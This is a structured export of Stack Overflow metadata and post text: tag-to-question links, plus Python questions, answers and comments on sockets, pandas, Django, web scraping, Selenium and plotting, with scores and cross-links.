tags question: http://stackoverflow.com/q/46927602
tags question: http://stackoverflow.com/q/46941452
tags question: http://stackoverflow.com/q/46973591
tags question: http://stackoverflow.com/q/47054341
tags question: http://stackoverflow.com/q/46988459
tags question: http://stackoverflow.com/q/46973545
tags question: http://stackoverflow.com/q/46977518
tags question: http://stackoverflow.com/q/46906432
tags question: http://stackoverflow.com/q/46979414
tags question: http://stackoverflow.com/q/47013533
tags question: http://stackoverflow.com/q/46943967
tags question: http://stackoverflow.com/q/46911718
type: Tag
tags question: http://stackoverflow.com/q/47043508
tags question: http://stackoverflow.com/q/47019387
tags question: http://stackoverflow.com/q/46996734
tags question: http://stackoverflow.com/q/46969496
tags question: http://stackoverflow.com/q/46943968
tags question: http://stackoverflow.com/q/47040800
tags question: http://stackoverflow.com/q/47051725
tags question: http://stackoverflow.com/q/46960838
tags question: http://stackoverflow.com/q/47020068
tags question: http://stackoverflow.com/q/46930201
tags question: http://stackoverflow.com/q/47034229
tags question: http://stackoverflow.com/q/46995307
tags question: http://stackoverflow.com/q/46976410
tags question: http://stackoverflow.com/q/47014260
tags question: http://stackoverflow.com/q/46997470
tags question: http://stackoverflow.com/q/46934148
tags question: http://stackoverflow.com/q/47046218
tags question: http://stackoverflow.com/q/47020491
tags question: http://stackoverflow.com/q/47040210
tags question: http://stackoverflow.com/q/46930291
tags question: http://stackoverflow.com/q/47048750
tags question: http://stackoverflow.com/q/47021711
tags question: http://stackoverflow.com/q/46968623
tags question: http://stackoverflow.com/q/46931749

dataframe
tags question: http://stackoverflow.com/q/46933895
tags question: http://stackoverflow.com/q/46963005
tags question: http://stackoverflow.com/q/47042129
tags question: http://stackoverflow.com/q/46998831
tags question: http://stackoverflow.com/q/46990198
tags question: http://stackoverflow.com/q/46985801
tags question: http://stackoverflow.com/q/46929256
tags question: http://stackoverflow.com/q/46931131
tags question: http://stackoverflow.com/q/46939049
tags question: http://stackoverflow.com/q/47006627
tags question: http://stackoverflow.com/q/47044291
tags question: http://stackoverflow.com/q/47024033
tags question: http://stackoverflow.com/q/46996365
tags question: http://stackoverflow.com/q/46997707
tags question: http://stackoverflow.com/q/46921576
tags question: http://stackoverflow.com/q/46957972
tags question: http://stackoverflow.com/q/47023541
tags question: http://stackoverflow.com/q/47022016
tags question: http://stackoverflow.com/q/47039231
tags question: http://stackoverflow.com/q/47044329
tags question: http://stackoverflow.com/q/46964399
tags question: http://stackoverflow.com/q/46978264
tags question: http://stackoverflow.com/q/46920454
tags question: http://stackoverflow.com/q/46913258
tags question: http://stackoverflow.com/q/46937897
tags question: http://stackoverflow.com/q/46959339
tags question: http://stackoverflow.com/q/46942853
tags question: http://stackoverflow.com/q/46919973
tags question: http://stackoverflow.com/q/46931881
tags question: http://stackoverflow.com/q/46982965
tags question: http://stackoverflow.com/q/47058391
tags question: http://stackoverflow.com/q/46990467
tags question: http://stackoverflow.com/q/46997277
tags question: http://stackoverflow.com/q/46935357
tags question: http://stackoverflow.com/q/47060158
tags question: http://stackoverflow.com/q/47053270
tags question: http://stackoverflow.com/q/46960864
tags question: http://stackoverflow.com/q/46931193
tags question: http://stackoverflow.com/q/47061564
tags question: http://stackoverflow.com/q/46955150
tags question: http://stackoverflow.com/q/47003574
tags question: http://stackoverflow.com/q/47048530
tags question: http://stackoverflow.com/q/47061791
tags question: http://stackoverflow.com/q/47063768
tags question: http://stackoverflow.com/q/46981247
tags question: http://stackoverflow.com/q/47012029
tags question: http://stackoverflow.com/q/47055426
tags question: http://stackoverflow.com/q/46922967
tags question: http://stackoverflow.com/q/47056409
tags question: http://stackoverflow.com/q/46974006
tags question: http://stackoverflow.com/q/47054124
tags question: http://stackoverflow.com/q/46955022
tags question: http://stackoverflow.com/q/46980962
tags question: http://stackoverflow.com/q/46956270
tags question: http://stackoverflow.com/q/47053712
tags question: http://stackoverflow.com/q/46953310
tags question: http://stackoverflow.com/q/47018871
tags question: http://stackoverflow.com/q/47059143
tags question: http://stackoverflow.com/q/47048327
tags question: http://stackoverflow.com/q/46985316
tags question: http://stackoverflow.com/q/46930681
tags question: http://stackoverflow.com/q/46976026
tags question: http://stackoverflow.com/q/46954207
tags question: http://stackoverflow.com/q/46993961
tags question: http://stackoverflow.com/q/47060980
tags question: http://stackoverflow.com/q/46918600
tags question: http://stackoverflow.com/q/47028601
tags question: http://stackoverflow.com/q/46983185
tags question: http://stackoverflow.com/q/46914546
tags question: http://stackoverflow.com/q/46924925
tags question: http://stackoverflow.com/q/47047788
tags question: http://stackoverflow.com/q/47001157
tags question: http://stackoverflow.com/q/47046218
tags question: http://stackoverflow.com/q/46986343
tags question: http://stackoverflow.com/q/46992303
tags question: http://stackoverflow.com/q/47054795
tags question: http://stackoverflow.com/q/46927649
tags question: http://stackoverflow.com/q/47025365
tags question: http://stackoverflow.com/q/46931785
tags question: http://stackoverflow.com/q/46944019

http://stackoverflow.com/q/46993045
has body: I have made two scripts to practice using sockets in Python but I have trouble communicating after the connexion is established: My scripts below : Server.py #!/usr/local/bin/python3.5 import socket, sys HOST = 'myIP' PORT = 50000 counter = 0 mySocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: mySocket.bind((HOST,PORT)) except socket.error: print("Socket connection failed.") sys.exit while 1: print("Server ready, waiting for request...") mySocket.listen(2) connexion, adress = mySocket.accept() counter+=1 print("Client connected, adress IP %s, port %s" % (adress[0], adress[1])) msgServeur="Connected to server PytPyt. You can send messages." connexion.send(msgServeur.encode("Utf8")) msgClient = connexion.recv(1024).decode("Utf8") while 1: print("C&gt;", msgClient) if msgClient.upper() == "END" or msgClient == "": break msgServeur = input("S&gt; ") connexion.send(msgServeur.encode("Utf8")) msgClient = connexion.recv(1024).decode("Utf8") connexion.send("end".encode("Utf8")) print("Connexion finished.") connexion.close() ch=input("&lt;R&gt;etry &lt;T&gt;erminate?") if ch.upper() =='T': break Client.py #!/usr/local/bin/python3.5 import socket, sys HOST = 'myIP' PORT = 50000 mySocket=socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: mySocket.connect((HOST, PORT)) except socket.error: print("Connexion failed.") sys.exit() print("Connexion established with server.") msgServeur = mySocket.recv(1024).decode("Utf8") while 1: if msgServeur.upper == "END" or msgServeur == "": break print("S&gt;", msgServeur) msgClient=input("C&gt; ") mySocket.send(msgClient.encode("Utf8")) msgServeur = mySocket.recv(1024).decode("Utf8") print("Connexion terminated.") mySocket.close() When I execute the two scripts I have the result below : Server : myPrompt : ./Server.py &amp; Server ready, waiting for request... Client connected, adresse IP myIP, port 53551 Client : myPrompt : ./Client.py &amp; Connexion established with server. S&gt; Connected to server PytPyt. You can send m…
accepted answer: http://stackoverflow.com/a/46993127
has answer: http://stackoverflow.com/a/46993127
tagged with: sockets
tagged with: scripting
tagged with: python
has comment: http://stackoverflow.com/comment/80932841
type: AnsweredQuestion
tagged with: bash
score: 1
answer count: 1
downvote count: 0
upvote count: 1
has title: Communicate using socket on Python
favorite count: 0
type: Question

http://stackoverflow.com/comment/81032863
comment on: http://stackoverflow.com/q/47042894
type: Comment
score: 0
has text: do you need to use `x_u.append(pd.DataFrame(np.random.randint(341, size = 1))` ?
type: QuestionComment

http://stackoverflow.com/comment/80810545
has text: If you have one X value for each individual each year it may work.
comment on: http://stackoverflow.com/q/46928752
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46979066
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46979887
upvote count: 0
type: UnansweredQuestion
has title: Find an Input word in a text and print the "associated Character"
tagged with: python
score: -1
answer count: 1
has body: I have to do a program that find a word in a text and then print another word (or character) associated to it. For example, text file is : " -POST- 1 blablabla abcde -POST- 15 wordwordword helloworld " If input is "blablabla" or "abcde" output should be "1" ( the post'ID'), if input is wordwordword or "Helloworld" output should be "15". My idea is to create a dictionary d={'ID':'word'} to categorize the posts, but can't do more than this: def post(fposts,insieme): l=list(insieme) d={} with open(fposts) as openfile: for line in openfile: for i in line.split(): if i=='&lt;POST&gt;': for j in l: if j in i: d={i+1:j} return d "Fposts" is the directory of the file can you help me? Thanks to all.
downvote count: 1

http://stackoverflow.com/comment/80829473
comment on: http://stackoverflow.com/q/46936595
type: Comment
type: QuestionComment
score: 0
has text: @Liborio Crossed comments. Was responding to suggestion I should move my answer. You came with a very similar answer at same time as me... Thanks.

http://stackoverflow.com/comment/80781701
type: Comment
comment on: http://stackoverflow.com/a/46916797
type: AnswerComment
has text: Understood. Edited for the changes.
score: 0

http://stackoverflow.com/comment/80917145
score: 0
comment on: http://stackoverflow.com/q/46984155
has text: I'm not sure what dataframe is yielding that error; but for the one you provided above, it works. Provide more test data then.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80996756
comment on: http://stackoverflow.com/a/47024641
score: 1
type: Comment
type: AnswerComment
has text: For a list of length 3, there's practically no difference in lookup time. But with a larger N, set lookup is much faster O(1) vs O(n)

http://stackoverflow.com/q/46928060
tagged with: django
has comment: http://stackoverflow.com/comment/80802958
has body: I've two class models, in which the first one (Activity) is prefilled by the admin, while the second (workingDays) is used as an input form to be filled by the website users, as follows: class Activities(models.Model): activity= models.CharField(primary_key= True, max_length= 300) provider= models.CharField(max_length= 50) activity_id= models.CharField(max_length= 50) class WorkingDays(models.Model): user = models.ForeignKey(User) activity= models.CharField(choices=labels, max_length=200) activity_id = models.CharField(max_length=25) worked_hours= models.FloatField(max_length=3) worked_days = models.FloatField(max_length=2) I need to render a view to join the two models in one view and populate the data as illustrated below. ------------------------------------------ Activity | user1 | user2 | user3 | user4| ------------------------------------------ act1 | 12 | | 10 | | ------------------------------------------ act2 | | 20 | 10 | 10 | ------------------------------------------ act3 | 5 | | 10 | 14 | ------------------------------------------ On the first column list all the available activity entries from the model(Activities) and on the rest of the columns each user of the model (WorkingDays). Then on the multiple rows populate the corresponding hours entered by each user for each activity Any help using Django-ORM or django-tables?
type: Question
has comment: http://stackoverflow.com/comment/80803220
score: 0
tagged with: django-views
tagged with: django-models
tagged with: python
tagged with: django-tables2
has comment: http://stackoverflow.com/comment/80803110
answer count: 0
has title: Django join tables to show data on the intersection between rows and columns
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80803370

http://stackoverflow.com/comment/80934405
comment on: http://stackoverflow.com/q/46993874
score: 0
type: QuestionComment
type: Comment
has text: did that but same error

http://stackoverflow.com/a/47023792
type: Answer
score: 0
has body: Assuming boatList is a dictionary, you can get how many destroyers have been eliminated: destroyersEliminated = 0 for k, v in boatList.items(): #in py2, use iteritems() if k in ["destroyer1", "destroyer2"] and v != []: destroyersEliminated += 1 Then you can subtract that from the total number of destroyers: destroyers = totalDestroyers = destroyersEliminated You can opt to do this with a list comprehension as well: destroyersEliminated = len(k for k in boatList if k in ["destroyer1", "destroyer2"] and boatList[k] != []) Side note: There are many ways you can make this cleaner, including taking an object oriented approach where each boat is an object with a type and a status; you would then be able to loop through a list of them and check their type and status to get counts.
answers question: http://stackoverflow.com/q/47023467

http://stackoverflow.com/comment/81015152
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/47034420
has text: I don't know python, but your for loops are absolutely useless. And the while loop also. Sit down and think about what is really needed to solve the task.
type: Comment

http://stackoverflow.com/q/47043427
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47043718
has title: how would i add a while loop and counter to this code which an admin can use to login
tagged with: while-loop
tagged with: counter
tagged with: python
downvote count: 4
has answer: http://stackoverflow.com/a/47043577
possible better answer: http://stackoverflow.com/a/47043577
upvote count: 0
accepted answer: http://stackoverflow.com/a/47043718
answer count: 2
has body: def login(): logindetails = {'username':'Admin123' , 'password':'Pass123'} username = input("please enter the username") password = input("please enter the password") if username == 'Admin123': print ("username correct") else: print ("username incorrect") if password == 'Pass123': print ("password correct") else: print ("password incorrect") login() Please tell me where I would put the while loop and how would I format the code to add a counter too.
score: -4
tagged with: loops
favorite count: 0
type: Question
tagged with: python-3.x

http://stackoverflow.com/q/47042598
tagged with: dataframe
tagged with: python
accepted answer: http://stackoverflow.com/a/47042698
has body: I have a dataframe and it has following attributes; id,text,created_at,retweet_count,favorite_count, source, user_id I want to get a new dataframe by ejecting df.text lines which start with "RT". non_retweeted_list = [] for i in range(len(df)): if (df.text[i][0] and df.text[i][1]) == ('R' and 'T'): pass else: non_retweeted_list.append(df[i]) But I get below KeyError: KeyError Traceback (most recent call last) /home/bd/anaconda3/lib/python3.5/site-packages/pandas/indexes /base.py in get_loc(self, key, method, tolerance) 1944 try: -&gt; 1945 return self._engine.get_loc(key) 1946 except KeyError: . . . During handling of the above exception, another exception occurred: KeyError Traceback (most recent call last) &lt;ipython-input-3-5dfc6d77a22c&gt; in &lt;module&gt;() 5 pass 6 else: ----&gt; 7 non_retweeted_list.append(df[i]) . . . KeyError: 0 How can I fix it ?
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/42978704
answer count: 2
downvote count: 0
tagged with: pandas
upvote count: 1
has answer: http://stackoverflow.com/a/47042843
score: 1
has answer: http://stackoverflow.com/a/47042698
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81032456
possible better answer: http://stackoverflow.com/a/47042843
has title: how to remove a specific column from a dataframe
has comment: http://stackoverflow.com/comment/81032523

http://stackoverflow.com/comment/106015393
type: Comment
has text: @Damian-TeodorBeleș Can you please elaborate more? I am not sure about what you are asking.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/59902851

http://stackoverflow.com/q/47053575
tagged with: python
has body: I am successfully checking, if a string matches any value in a dictionary. The string is a substring of the value (if matching). Upon matching, I append the key of the value, where the substring was found, to a list. Is there any way in python to introduce something like an if condition, to do the following: "only append to the list, if the substring matches at position 60+ (of 100) in the value" My code so far: #!/usr/bin/python3 # imports import re,sys import itertools # handling stdin faFile=sys.argv[1] pat=sys.argv[2] pat2=sys.argv[3] # opening .fa-File and building dictionary with open (faFile) as f: # reading file-content line by line content=f.readlines() # stripping linebreaks and &gt; content=[x.strip()for x in content] content=[x.strip('&gt;') for x in content] # building dictionary from content # IDs are keys, sequences are values d=dict(itertools.zip_longest(*[iter(content)]*2, fillvalue="")) # motif- search function def search (myDict, search1, search2): # initialize empty list to store found keys search.a=[] # iterating through dictionary for key, value in myDict.items(): if search1 in value: if search2 in value: search.a.append(key) search(d,pat,pat2) print(search.a) Command-line call: ./search.py file.fa pat pat2 I thought of something like introducing a counter, but couldn't figure it out yet
tagged with: substring
has title: Python3: print dictionary key, if substring matches at a certain position in value
score: 0
has comment: http://stackoverflow.com/comment/81054155
answer count: 0
has comment: http://stackoverflow.com/comment/81054260
linked to: http://stackoverflow.com/q/509211
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81054321
has comment: http://stackoverflow.com/comment/81054111
type: UnansweredQuestion
tagged with: matching
has comment: http://stackoverflow.com/comment/81054279
has comment: http://stackoverflow.com/comment/81054224
duplicate of: http://stackoverflow.com/q/509211
has comment: http://stackoverflow.com/comment/81054422

http://stackoverflow.com/q/46979369
type: UnansweredQuestion
tagged with: python
has title: Only one user can connect to websocket server with tornado at a time
tagged with: tornado
has comment: http://stackoverflow.com/comment/81146427
answer count: 0
score: 1
has comment: http://stackoverflow.com/comment/81031029
downvote count: 0
tagged with: websocket
upvote count: 1
has comment: http://stackoverflow.com/comment/81031252
favorite count: 0
has comment: http://stackoverflow.com/comment/80950708
type: Question
has body: I am trying to develop a websocket server with Python and tornado. This websocket server streams a large database result to the client for some visualization. The problem that I am facing is that no client can connect until the long process (send_data) is finished. It is as if only one client can connect at a time. Is websocket already an async process or should I implement an async process? The following is my code: import time import random import json import datetime import os import sys import cx_Oracle import string import re import subprocess import asyncio from tornado import websocket, web, ioloop, escape from datetime import timedelta from random import randint from pprint import pprint from tornado.web import RequestHandler os.environ['ORACLE_HOME'] = 'pathToOracleHome' os.environ['LD_LIBRARY_PATH'] = "$ORACLE_HOME/lib" def is_hex(a): printable = set(string.printable) - set("\x0b\x0c") return any(c not in printable for c in a) def json_print(d): print(json.dumps(d, indent=4)) def printf (format,*args): sys.stdout.write (format % args) def db(database_name='localhost/database'): return cx_Oracle.connect('user', 'pwd', database_name) def query_db(query, args=(), one=False): cur = db().cursor() cur.arraysize = 1500 cur.execute(query, args) return cur class SummaryWebSocketHandler(websocket.WebSocketHandler): clients = [] def check_origin(self, origin): return True def on_message(self, message): print ('message received') def closeDbConn(self,cur): cur.connection.close() def query(self, sql): cursor = query_db(sql) self.send_data(cursor) ### THIS IS THE LONG PROCESS ### def send_data(self, cur): results = {} columns = [column[0] for column in cur.description] total = 0 while True: Res = [] rows = cur.fetchmany() if rows == []: print('no more rows') break; for row in rows: results = {} for i, value in enumerate(row): if value == None: value = '-' results[cur.description[i][0]] = value Res.append(results) self.write_message(json.dumps(Res)) total = total + len(r…
has comment: http://stackoverflow.com/comment/80932199

http://stackoverflow.com/comment/101287756
score: 0
has text: Did you manage to figure out your hang?
comment on: http://stackoverflow.com/q/47054738
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47028296
has title: Integrate Paypal IPN with Django
tagged with: paypal-sandbox
tagged with: paypal-ipn
score: 0
has comment: http://stackoverflow.com/comment/81006142
has answer: http://stackoverflow.com/a/63266683
tagged with: paypal
answer count: 1
has comment: http://stackoverflow.com/comment/81065979
type: Question
has body: I have integrated Paypal IPN payment method in my Django project. I am using django-paypal django package. I am able to make payments using sandbox and it goes well but I don't get the transaction details back in my application for future reference (i.e. transaction ID, date, reference details etc.). I am sending below parameters while initiating payment. paypal_dict = { "business": "xxxxxxxx@mail.com", "amount": subscriptions.price, "item_name": subscriptions.name, "invoice": subscriptions.invoice_no, "notify_url": request.build_absolute_uri(reverse('paypal-ipn')), "return_url": request.build_absolute_uri(reverse('subscriptions:return_url')), "cancel_return": request.build_absolute_uri(reverse('subscriptions:cancel_return')), "custom": "premium_plan", # Custom command to correlate to some function later (optional) # "landing_page": "billing", "paymentaction": "authorization", "first_name": company_profile.company_name, "last_name": "", "address1": company_profile.address_1, "address2": company_profile.address_2, "city": company_profile.city, "country": company_profile.country, "state": company_profile.state, "zip": company_profile.zip_code, "email": company_profile.email, "night_phone_a": company_profile.work_phone } I read that IPN keeps sending response but not sure if I have missed to set any parameter. I have checked that the notify_url is accessible from outside but I don't see that paypal call my notify_url. Your valuable input will help us a lot. Thanks in Advance!!!!!
has comment: http://stackoverflow.com/comment/81101476
tagged with: django
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/comment/81019292
has text: Done, Thanks...@SeanWhittaker
type: Comment
comment on: http://stackoverflow.com/q/47034280
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81073845
type: Comment
comment on: http://stackoverflow.com/q/47062428
type: QuestionComment
has text: YES Exactly I think what I need, I'll search for that more and return back to u
score: 0

http://stackoverflow.com/a/46920577
has body: It looks like the css classes for the authors aren't the same through out the page, so you need to do some filtering. The author elements have multiple css classes, but they share some similarities. The code below will print out the authors. It first grabs the elements where the authors will be. The problem is that this css-class (JvCare) is used for many things. An elements count returns 98 for the page, but there are only 25 author names, so a little filtering is needed afterwards. import requests from bs4 import BeautifulSoup url = "http://www.jeuxvideo.com/forums/0-7059-0-1-0-1-0-another-war.htm" r = requests.get(url) soup = BeautifulSoup(r.text, "html.parser") JvCs = soup.find_all('span', attrs={'class': 'JvCare'}) for j in JvCs: if 'topic-author' in j['class']: print(j.text.strip()) j['class'] returns a list of the different css-classes for each of the 98 elements in the JvCs-list. The ones where the author name resides, has a css-class named 'topic-author'. So we just check if 'topic-author' is in the list returned by j['class'] for each of the 98 elements. If so - print the author name. Hope this helps you get further. Edit: It seems there's a smarter way of doing this (mentioned in the really awesome docs for BeautifulSoup) for situations where there are two or more css selectors involved. In these cases the docs recommends using the .select-method. In your case that would be like so: author_list = soup.select('span.JvCare.topic-author') for author in author_list: print(author.text.strip())
score: 2
accepted answer of: http://stackoverflow.com/q/46916585
type: Answer
answers question: http://stackoverflow.com/q/46916585
has comment: http://stackoverflow.com/comment/80824134
upvote count: 2
downvote count: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/80860393
type: QuestionComment
has text: What is the error exactly?
comment on: http://stackoverflow.com/q/46955515
type: Comment
score: 1

boto3
tags question: http://stackoverflow.com/q/46955514
tag name: boto3
tags question: http://stackoverflow.com/q/47023285
tags question: http://stackoverflow.com/q/47034797
tags question: http://stackoverflow.com/q/46982381
tags question: http://stackoverflow.com/q/47063752
tags question: http://stackoverflow.com/q/47032604
tags question: http://stackoverflow.com/q/46950884
tags question: http://stackoverflow.com/q/46911082
type: Tag
tags question: http://stackoverflow.com/q/47052902
tags question: http://stackoverflow.com/q/46979147
tags question: http://stackoverflow.com/q/47041983
tags question: http://stackoverflow.com/q/47012647
tags question: http://stackoverflow.com/q/46957817
tags question: http://stackoverflow.com/q/46980189

http://stackoverflow.com/a/46983346
score: 1
upvote count: 1
has body: You can do the same in several ways. Css selectors are precise, easy to understand and less error prone. So you can go with selectors as well to serve the purpose: from bs4 import BeautifulSoup import requests link = 'http://www.imdb.com/title/tt5308322/?ref_=inth_ov_tt' res = requests.get(link).text soup = BeautifulSoup(res,'lxml') genre = ' '.join([item.text.strip() for item in soup.select(".canwrap a[href*='genre']")]) print(genre) Result: Horror Mystery Thriller
answers question: http://stackoverflow.com/q/46957078
downvote count: 0
type: Answer

http://stackoverflow.com/q/46920243
has answer: http://stackoverflow.com/a/64696047
linked to: http://stackoverflow.com/q/46753393
has title: How to configure ChromeDriver to initiate Chrome browser in Headless mode through Selenium?
has comment: http://stackoverflow.com/comment/103095078
has answer: http://stackoverflow.com/a/79035994
has answer: http://stackoverflow.com/a/65213819
downvote count: 1
tagged with: google-chrome-headless
has answer: http://stackoverflow.com/a/49582462
upvote count: 145
linked to: http://stackoverflow.com/q/78093600
favorite count: 0
has answer: http://stackoverflow.com/a/46965909
score: 144
type: Question
linked to: http://stackoverflow.com/q/6445167
accepted answer: http://stackoverflow.com/a/46965909
linked to: http://stackoverflow.com/q/53657215
has answer: http://stackoverflow.com/a/68162908
answer count: 20
has answer: http://stackoverflow.com/a/76401690
has answer: http://stackoverflow.com/a/68837529
has answer: http://stackoverflow.com/a/46929648
has answer: http://stackoverflow.com/a/63349412
linked to: http://stackoverflow.com/q/60058246
tagged with: python
has comment: http://stackoverflow.com/comment/123551165
has answer: http://stackoverflow.com/a/76106543
has answer: http://stackoverflow.com/a/75806313
has answer: http://stackoverflow.com/a/61677864
linked to: http://stackoverflow.com/q/59174899
tagged with: browser-options
has body: I'm working on a python script to web-scrape and have gone down the path of using Chromedriver as one of the packages. I would like this to operate in the background without any pop-up windows. I'm using the option 'headless' on chromedriver and it seems to do the job in terms of not showing the browser window, however, I still see the .exe file running. See the screenshot of what I'm talking about. Screenshot This is the code I am using to initiate ChromeDriver: options = webdriver.ChromeOptions() options.add_experimental_option("excludeSwitches",["ignore-certificate-errors"]) options.add_argument('headless') options.add_argument('window-size=0x0') chrome_driver_path = "C:\Python27\Scripts\chromedriver.exe" Things I've tried to do is alter the window size in the options to 0x0 but I'm not sure that did anything as the .exe file still popped up. Any ideas of how I can do this? I am using Python 2.7 FYI
tagged with: selenium-webdriver
linked to: http://stackoverflow.com/q/54459701
has answer: http://stackoverflow.com/a/64228681
tagged with: selenium-chromedriver
has answer: http://stackoverflow.com/a/46929945
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/46929945
has answer: http://stackoverflow.com/a/63161234
has answer: http://stackoverflow.com/a/75571935
linked to: http://stackoverflow.com/q/50143413
has answer: http://stackoverflow.com/a/78936397
has answer: http://stackoverflow.com/a/64911403
has comment: http://stackoverflow.com/comment/104543015
linked to: http://stackoverflow.com/q/51091121
has answer: http://stackoverflow.com/a/77034581

http://stackoverflow.com/a/64136184
type: Answer
answers question: http://stackoverflow.com/q/47023541
has body: import pandas as pd data = {'field1':[1,4,1,68,9],'field2':[1,1,4,5,9]} df = pd.DataFrame(data) results = df.groupby('field1')['field2'].nunique() results Output: field1 1 2 4 1 9 1 68 1 Name: field2, dtype: int64
score: 1
downvote count: 0
upvote count: 1

http://stackoverflow.com/a/46963415
score: 1
type: Answer
has body: Here is a brief example: Code Example: import pygame # --- class --- class imageButton(object): def __init__(self, position, size): image1 = pygame.image.load('rock.png') image2 = pygame.image.load('paper.png') image3 = pygame.image.load('scissors.png') self._images = [ pygame.Surface(size), pygame.Surface(size), pygame.Surface(size), ] # create 3 images self._images[0].blit(image1, image1.get_rect()) self._images[1].blit(image2, image2.get_rect()) self._images[2].blit(image3, image3.get_rect()) # get image size and position self._rect = pygame.Rect(position, size) # select first image self._index = 0 def draw(self, screen): # draw selected image screen.blit(self._images[self._index], self._rect) def event_handler(self, event): # change selected color if rectange clicked if event.type == pygame.MOUSEBUTTONDOWN: # is some button clicked if event.button == 1: # is left button clicked if self._rect.collidepoint(event.pos): # is mouse over button self._index = (self._index + 1) % 3 # change image # --- main --- # init pygame.init() screen = pygame.display.set_mode((320, 110)) # create buttons button1 = imageButton((5, 5), (100, 100)) button2 = imageButton((110, 5), (100, 100)) button3 = imageButton((215, 5), (100, 100)) # mainloop running = True while running: # --- events --- for event in pygame.event.get(): if event.type == pygame.QUIT: running = False button1.event_handler(event) button2.event_handler(event) button3.event_handler(event) # --- draws --- button1.draw(screen) button2.draw(screen) button3.draw(screen) pygame.display.update() # --- the end --- pygame.quit() Image Files Example Application Run:
answers question: http://stackoverflow.com/q/46960174
upvote count: 1
downvote count: 0

http://stackoverflow.com/q/46943130
has answer: http://stackoverflow.com/a/54620671
tagged with: exception
has comment: http://stackoverflow.com/comment/80833978
tagged with: python
has body: What is the recommended way to store a Python exception – in a structured way that allows access to the different parts of that exception – in a Django model? It is common to design a Django model that records “an event” or “an attempt to do foo”; part of the information to be recorded is “… and the result was this error”. That then becomes a field on the model. An important aspect of recording the error in the database is to query it in various structured ways: What was the exception type? What was the specific message? What were the other arguments to the exception instance? What was the full traceback? (I'm aware of services that will let me stream logging or errors to them across the network; that is not what this question asks. I need the structured exception data in the project's own database, for reference directly from other models in the same database.) The Python exception object is a data structure that has all of these parts – the exception type, the arguments to the exception instance, the “cause” and “context”, the traceback – available separately, as attributes of the object. The objective of this question is to have the Python exception information stored in the database model, such that they can be queried in an equivalent structured manner. So it isn't enough to have a free-form TextField to record a string representation of the exception. A structured field or set of fields is needed; perhaps even an entire separate model for storing exception instances. Of course I could design such a thing myself, and spend time making the same mistakes countless people before me have undoubtedly made in trying to implement something like this. Instead, I want to learn from existing art in solving this problem. What is a general pattern to store structured Python exception data in a Django model, preferably in an existing mature general-purpose library at PyPI that my project can use for its models?
has answer: http://stackoverflow.com/a/46943343
has title: Store a Python exception in a Django model
answer count: 2
upvote count: 3
type: UnansweredQuestion
downvote count: 0
tagged with: django
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80833874
tagged with: structured-data
score: 3

http://stackoverflow.com/a/46990135
answers question: http://stackoverflow.com/q/46989921
has comment: http://stackoverflow.com/comment/80928508
type: Answer
has body: try this. you only need one for loop. import xlwt import xlrd workbook = xlrd.open_workbook('data.xlsx') sheet = workbook.sheet_by_index(0) workbook2 = xlwt.Workbook() sheet2 = workbook2.add_sheet('test') i= 0 a= 40000 for i in range(0,int(a)): data = [sheet.cell_value(i, 0)] sheet2.write(i,0, str(data[0])) workbook2.save('main.xls')
has comment: http://stackoverflow.com/comment/80932240
score: 0
has comment: http://stackoverflow.com/comment/80927908
has comment: http://stackoverflow.com/comment/80932720
has comment: http://stackoverflow.com/comment/80927010
has comment: http://stackoverflow.com/comment/80928944

http://stackoverflow.com/comment/81072534
type: Comment
comment on: http://stackoverflow.com/q/47062262
score: 2
has text: Don't create a list of lists, create a dict of lists, using the names the keys.
type: QuestionComment

http://stackoverflow.com/comment/80820237
comment on: http://stackoverflow.com/q/46936454
score: 2
type: Comment
has text: `orig_list.pop(-4)` followed by `new_list.append(orig_list.pop(-4))` is popping two *different* items from the list - and the first popped item is being discarded.
type: QuestionComment

python-imageio
type: Tag
tags question: http://stackoverflow.com/q/46976455
tag name: python-imageio

http://stackoverflow.com/a/57991821
has comment: http://stackoverflow.com/comment/129136671
answers question: http://stackoverflow.com/q/46907584
score: 4
has body: In your case removing ./ should solve the issue. I had another case wherein I was using a directory from the parent directory and docker can only access files present below the directory where Dockerfile is present so if I have a directory structure /root/dir and Dockerfile /root/dir/Dockerfile I cannot copy do the following COPY root/src /opt/src
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/111540426
upvote count: 4

http://stackoverflow.com/q/47031450
has body: I'm currently using Python 3.4, Pandas 0.20.3 and Matplotlib 2.1.0. A similar question was asked at matplotlib bar with asymmetrical error bars using earlier versions of Pandas and Matplotlib but, in that case, the code produced errors whereas, in my case, the code produces the wrong graph. Basically, I have a Pandas dataframe consisting of several columns of data and an index of named values. I want to plot one of the columns as a bar chart and include asymmetrical error bars. I have defined the lower and upper error bars as a list of two lists, the first representing the lower error bars and the second representing the upper error bars. However, when I plot a bar chart, the error bars are symmetrical based on the first list; the second list only comes into play if I plot a bar chart of both columns. The code I am using can be summarised as follows: import numpy as np import pandas as pd myDF = pd.DataFrame({'col1':[4,5,6,7],'col2':[6,5,4,5]},index=['A','B','C','D']) print(myDF) err = [[0.5,0.5,2,2],[2,2,3,3]] ax = myDF.loc[:,['col1']].plot(kind = 'bar',yerr = err) which gives: col1 col2 A 4 6 B 5 5 C 6 4 D 7 5 ...and produces the following plot: I assume I'm missing something obvious but I can't put my finger on the mistake; can somebody please enlighten me?
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81012537
duplicate of: http://stackoverflow.com/q/45798492
upvote count: 2
type: UnansweredQuestion
tagged with: python
tagged with: plot
linked to: http://stackoverflow.com/q/13130703
duplicate of: http://stackoverflow.com/q/26793758
has title: Plotting asymmetrical error bars with pandas
score: 2
answer count: 0
